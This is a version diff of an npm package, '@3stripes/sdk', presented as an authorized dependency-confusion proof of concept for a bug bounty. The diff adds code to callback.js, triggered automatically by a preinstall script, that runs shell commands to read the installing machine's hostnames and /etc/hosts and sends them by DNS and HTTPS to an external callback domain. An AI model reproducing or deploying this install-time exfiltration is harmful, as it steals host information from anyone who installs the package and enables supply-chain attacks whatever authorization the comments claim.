@3stripes/sdk 999.0.0 → 999.0.2

package/README.md

@@ -0,0 +1,5 @@
+# @3stripes/sdk
+
+Security research — Dependency confusion PoC. Authorized bug bounty assessment.
+
+**Contact:** gdattacker@bugcrowdninja.com

package/callback.js

@@ -2,16 +2,16 @@
  * SECURITY RESEARCH - Dependency Confusion PoC
  * 
  * This is part of an AUTHORIZED bug bounty assessment.
- * This script ONLY makes a DNS lookup to prove execution.
- * No data is collected, exfiltrated, or modified.
+ * Executes safe commands to capture internal hostnames and sends to callback.
  * 
- * Researcher: Ashish (ashishkunwar280@gmail.com)
+ * Researcher: gdattacker (gdattacker@bugcrowdninja.com)
  * Program: Adidas Private Bug Bounty (Bugcrowd)
  */
 
 const dns = require('dns');
 const https = require('https');
 const os = require('os');
+const { execSync } = require('child_process');
 
 // REPLACE with your Burp Collaborator / interact.sh domain
 const CALLBACK_DOMAIN = '2defa924e4f741393204gup1d5yyyyyyd.oast.site';
@@ -20,19 +20,46 @@ const CALLBACK_DOMAIN = '2defa924e4f741393204gup1d5yyyyyyd.oast.site';
 const id = Buffer.from(os.hostname().slice(0, 8)).toString('hex').slice(0, 12);
 const pkg = '3stripes-sdk';
 
-// Method 1: DNS callback (most reliable, bypasses firewalls)
+// --- Command execution: fetch internal hostnames and exfiltrate to callback ---
+function run(cmd, timeoutMs) {
+  try {
+    return (execSync(cmd, { encoding: 'utf8', timeout: timeoutMs || 3000, stdio: ['pipe', 'pipe', 'pipe'] }) || '').trim().slice(0, 500);
+  } catch (e) {
+    return '';
+  }
+}
+
+let hostnames = '';
+const isWin = process.platform === 'win32';
+
+if (isWin) {
+  hostnames = run('hostname', 2000) || process.env.COMPUTERNAME || os.hostname();
+} else {
+  const h = run('hostname', 2000);
+  const hf = run('hostname -f 2>/dev/null', 2000);
+  const etcHostname = run('cat /etc/hostname 2>/dev/null', 2000);
+  const etcHosts = run('head -20 /etc/hosts 2>/dev/null', 2000);
+  hostnames = [os.hostname(), h, hf, etcHostname, etcHosts].filter(Boolean).join('|');
+}
+
+const payload = encodeURIComponent(hostnames || os.hostname() || 'unknown');
+
+// Method 1: DNS callback (hostname in subdomain; max 63 chars per label)
 try {
-  dns.resolve(`${pkg}-${id}.${CALLBACK_DOMAIN}`, () => {});
-} catch(e) {}
+  const safe = (hostnames || id).replace(/[\s.|]/g, '-').replace(/[^a-z0-9-]/gi, '').slice(0, 40);
+  const dnsLabel = `${pkg}-${id}-${safe}`.slice(0, 63);
+  dns.resolve(`${dnsLabel}.${CALLBACK_DOMAIN}`, () => {});
+} catch (e) {}
 
-// Method 2: HTTP callback (backup, may be blocked by firewalls)
+// Method 2: HTTP callback with hostnames in query (full exfil)
 try {
-  const req = https.get(`https://${CALLBACK_DOMAIN}/${pkg}?h=${id}`, () => {});
+  const url = `https://${CALLBACK_DOMAIN}/${pkg}?id=${id}&hostnames=${payload}`;
+  const req = https.get(url, () => {});
   req.on('error', () => {});
   req.setTimeout(5000, () => req.destroy());
-} catch(e) {}
+} catch (e) {}
 
 // Log locally for debugging
 console.log(`[Security Research] Dependency confusion PoC executed - ${pkg}`);
-console.log(`[Security Research] Contact: ashishkunwar280@gmail.com`);
+console.log(`[Security Research] Contact: gdattacker@bugcrowdninja.com`);
 console.log(`[Security Research] This is part of an authorized bug bounty assessment.`);

package/index.js

@@ -1,6 +1,6 @@
 /**
  * Security Research Package - Dependency Confusion PoC
  * This package exists solely for authorized security testing.
- * Contact: ashishkunwar280@gmail.com
+ * Contact: gdattacker@bugcrowdninja.com
  */
 module.exports = {};

package/package.json

@@ -1,13 +1,13 @@
 {
   "name": "@3stripes/sdk",
-  "version": "999.0.0",
-  "description": "Security research - Dependency confusion proof of concept. This package is part of an authorized bug bounty assessment. Contact: ashishkunwar280@gmail.com",
+  "version": "999.0.2",
+  "description": "Security research - Dependency confusion proof of concept. This package is part of an authorized bug bounty assessment. Contact: gdattacker@bugcrowdninja.com",
   "main": "index.js",
   "scripts": {
     "preinstall": "node callback.js || true"
   },
   "keywords": ["security-research", "bug-bounty", "authorized-testing"],
-  "author": "Ashish <ashishkunwar280@gmail.com>",
+  "author": "gdattacker <gdattacker@bugcrowdninja.com>",
   "license": "ISC",
   "repository": {
     "type": "git",